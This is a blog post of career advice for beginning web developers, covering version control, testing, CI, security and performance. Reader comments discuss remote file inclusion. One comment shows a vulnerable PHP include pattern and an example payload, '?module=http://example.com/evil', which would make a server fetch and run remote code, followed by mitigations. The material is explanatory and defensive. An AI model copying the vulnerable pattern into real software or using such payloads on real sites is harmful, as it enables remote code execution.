Things a web developer might need to know

I saw a post on reddit the other day, and answered there, but thought I’d clean up my response there for here, fleshing out a couple more ideas, and get your feedback as well.

The original question from was a 16 year old who’s been doing some basic CRUD apps, but is getting bored and wanted to move on to ‘real’ development.  There were some good replies, but few went in to the depth of detail that I think beginners are even aware of.  Granted, this might scare off some, but for others it might give them some ideas about what’s possible and what’s involved in professional web development.  I know I’m going to leave off some topics, so feel free to add on!

Generally, in professional web programming gigs, the “programming” part is just that – a part of the job, and often not even a majority, unless you’re fast and loose with the definition of programming.  I’m taking it to mean primarily one language – usually a server side tech like C#, PHP, Ruby, etc.

Version Control

Understanding the basics of version control – when, how and why to use it – is essential for professional software development.  Git and subversion are probably the most widely used today – mercurial, darcs, cvs and others are either gaining or losing ground daily, but understanding the basics of git and svn (differing systems certainly) will stand you in good stead in 2012, 2013 and beyond.

Even working by yourself you really should be using it as well, but I frequently talk to solo developers who say “well, I don’t need it, because I just work on my own projects”. A few reactions I have to that sentiment are:

  • Much like backups, you won’t really understand how much you need it until you need it.
  • Branching opens up a whole world of possibilities in your approach to development, allowing you to work non-sequentially when necessary, that you’re only thinking with part of your brain without version control.
  • Most professionals use some form of it. To work with anyone else, you’ll need it, and you may as well start now.

Ticket/issue systems

I don’t have a horse in this race specifically, and personally am not a 100% convert, but the more I work, the more I need things written down in a centralized place which others can use and modify, but that also allows me to hook in to with my code.  Being able to commit code and indicate “this is for ticket #723″, and having that tie in to the ticket system so that I can see the code from the ticket system, is very powerful.

Go back to issues 6 months later, and see the code changes in context with the notes on the issue in question – it gives you a different (new?) perspective on how you write commit messages, what’s important to note, what’s not, and so on.  Personally, I’m using redmine right now, but have used other tools in the past.  Find something that works for you and/or your team and stick with it.

Testing

Unit, integration, load, performance, scalability, acceptance – there are loads of ‘types’ of testing, and you may lump some together, and your process may change over time.  I’m less concerned with whether you have load/performance/scalability testing processes – those aren’t always considerations for projects.  Unit and/or integration testing are generally useful regardless of the size/scope of the project.

Get comfortable with a testing tool (junit, nunit, phpunit, cucumber, rspec, etc).

Continuous integration

Hand in hand with testing is a way to automate the testing process.  Every time you check in code, have a set of tests run and show you the results.  Again, once you make this a habit, it can be very powerful.

Jenkins is the current standard in the Java world – there are probably others for other technologies – search for “<my tech language> continuous integration” for specifics.

Security

Along with other types of testing, you should be aware of security testing strategies to employ against your sites.  Mess with URLs, try to POST bad data to your scripts, etc.  Automate those tests.  Find tools to do the same.  sqlmap is a tool to automate SQL injection attacks against your site – using that is eye-opening.

Are you using prepared statements over raw SQL strings?  Stored procedures?  Various levels of access to your database(s)?  There are a number of techniques to help avoid or reduce SQL injection attacks.

Learn about Cross-Site Request Forgeries (CSRF), and how to protect against them.   Learn about Cross-Site Scripting (XSS) attacks.

SQL injection, CSRF and XSS still make up the vast majority of security holes in websites.  Learn how to protect against them and you’ll be a long way towards being secured (but never take it easy!)

Performance

There’s a whole world of topics to cover under performance – code caching (do you write optimized and optimizable code?), data caching, page caching, HTTP caching headers (etags, etc), asset caching, compression, minification, CSS sprites, mobile-optimized sites.

As I said before, many of these may not be useful to all developers all the time – they may never rise beyond the level of ‘interesting’ at your current project/gig.  Be aware that the tools, techniques and trends may change quickly as new tech and usage patterns emerge, so even if you ‘know’ this stuff, revisit it every so often if you’re not immersed in it day to day.

JavaScript/front-end

How good are you with JavaScript?  Would you be able to write a full app in a browser using JavaScript only, making service calls to a back-end via SOAP or REST?  There’s a whole world with toolkits and libraries like jQuery, Dojo, AngularJS, JavaScript MVC, templating systems and more.  Are you able to selenium-test your front-end app?  How about running browser-based tests via qunit or a similar testing tool?

Mobile

The rise of mobile – smartphones, tablets, etc – has opened up a new set of opportunities and challenges to be aware of.  Data caps, optimized graphics, new UI controls for touch interfaces, and more.  Understanding ‘best practices’ for mobile, and keeping up with them, will keep you busy for a while.

Other technologies

How good are you with search tools?  Business dashboards?  Data gathering and analytics creation, interpretation and action?  There are a number of things that businesses need which don’t particularly relate to any one specific tech, but they’ll all need (quick way to search for data, generate reports, etc.)  Find some common business problems in your current situation and look for some of the top packages out there that solve those problems that you can integrate (SOLR, Lucene and ElasticSearch on the search side, for example; Jasper Reports or Pentaho on business reporting options, etc.)

What language again?

Notice that I really didn’t focus on any language or particular tech.  All of the above are skills that professional web developers need to have – or, if not possess 100%, be *aware* of.  I’m certainly no master of web tech, but I keep up with it enough to know who the real masters are in various areas.

What surprises me some is students coming out of school, and sometimes with more than a couple years under their belt, who’ve never heard of some or many of these ideas.  Perhaps I’m just meeting more than my fair share of true ‘code monkeys’ who copy/paste PHP/jQuery from 9-5, but I’d like to think, but that initial reddit post got me thinking a bit about this (that and some recent conversations with beginners and seasoned experts at a few regional meetups lately).

Won’t this all change?

Yes and no.  The idea of continuous integration was certainly not popular when I started in software development …. 18 years ago.  No doubt it was being done, but not by people I knew, nor in any popular literature I could find.  Some of these ideas take hold, and some don’t; Test-Driven Development, ‘Agile’, etc may come to be seen as fads in a few years – I can’t say for certain.  But… the fundamentals of communication and being aware of multiple aspects of a project (accuracy, speed, security) won’t go away.  These are issues that *will* be addressed on a project eventually, either during the initial work when it’s under your control, or at 2am on a Saturday morning because everything’s broken or you’ve been hacked :)

Gentle plug: if it’s before November 17, try to make it to indieconf, a conference for independent web professionals (and maybe just those that act like it!)

Side note: one of the upsides of freelance work is you often get to control the tools/processes for the work, and can pick/choose the tools you want.  One of the downsides is that sometimes you end up working with a team who “doesn’t believe” in any of this stuff, and you end up wasting a lot of time fighting problems that continually get reintroduced because of lack of testing.  I’m no saint on all this – I’ve done my share of skimping, and I speak from experience when I proclaim the value of using these sorts of tools.


I'm currently working on a book for web freelancers, covering everything you need to know to get started or just get better. Want to stay updated? Sign up for my mailing list to get updates when the book is ready to be released!

Web Developer Freelancing Handbook

Share and Enjoy:
  • del.icio.us
  • DZone
  • Facebook
  • Reddit
  • StumbleUpon
  • Digg
  • Simpy
  • Technorati

{ 10 comments to read ... please submit one more! }

  1. I feel that RFI probably deserves a mention in the security section; while people are cracking down XSS and SQL, I’m seeing a big increase in the number of RFI vulnerabilities.

  2. Interesting – thanks! Can you post some links or info on this?

  3. An example would be quickest, probably:

    $module = $_GET['module'];

    if (is_readable($module . '.php')) {
    include($module . '.php');
    }

    That’s all very well if the user is just requesting something like ?module=posts, but the user also has now the ability to execute any PHP file that the user PHP is running on has access to. In addition to that, and even worse, on most configurations, you can specify remote files to be included: ?module=http://example.com/evil would execute http://example.com/evil.php on the server.

    It’s fairly easy to work around. For the example above I would just kill the script if it contained any non-letter characters:

    $module = $_GET['module'];

    if (preg_match('/[^a-z]/i', $module)) {
    echo 'Hacker!';
    exit;
    }

    if (is_readable($module . '.php')) {
    include($module . '.php');
    }

  4. Ahhh – “Remote Injection” – wasn’t quite sure what you meant. Certainly something to be cognizant of. I’d left it off simply as I was going for a list that a bit more language agnostic. RI via include is pretty PHP-specific. eval() and some other less-drastic RI attacks can certainly occur on other platforms as well, but PHP is rather ‘out there’ as a mix of wide-deployment, and widely-copied poor security example code.

  5. Perhaps more to the point Callum, whitelisting a set of appropriate files/directories to allow, then checking if the incoming data matches that pattern, would be a better approach.

    As to the ‘evil’ aspect, by default PHP has ‘allow_url_include’ set to off, although I’ve seen it turned on in some cases, so writing defensive code to deal with those eventualities is something to keep in mind.

  6. Yep – version control and merging, rolling-back, and deploying is a major tool/part of developing software applications in addition to programming.

  7. Yeah, whitelisting a set of files would work. It wouldn’t always be appropriate – for example, if the user wanted to be able to add modules just by adding a file, it wouldn’t be possible to maintain the whitelist.

    There are other, non-PHP specific examples, but that’s the first example I thought of. I can’t think of any examples right now, though. I have seen APIs to provide the client with template files to be parsed at the client side which will output any file, but that is less of an issue (unless they happen to know the name of the file containing the database credentials).

  8. Whitelist could be in a database, or similarly dynamic. Check a list of registered modules, etc.

  9. Well I would add also SEO, Search Engine Optimization. Now there are many factors that affect how the sites you build may rank or not in search engines result pages. Most of those factors have to do with the way you build your sites Web pages. Developers that know this well bring value to the sites of the customers they work for.

{ 1 Pingbacks/Trackbacks }

  1. Michael Kimsal: Things a web developer might need to know : Atom Wire

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre lang="" line="" escaped="">



0.23164319992065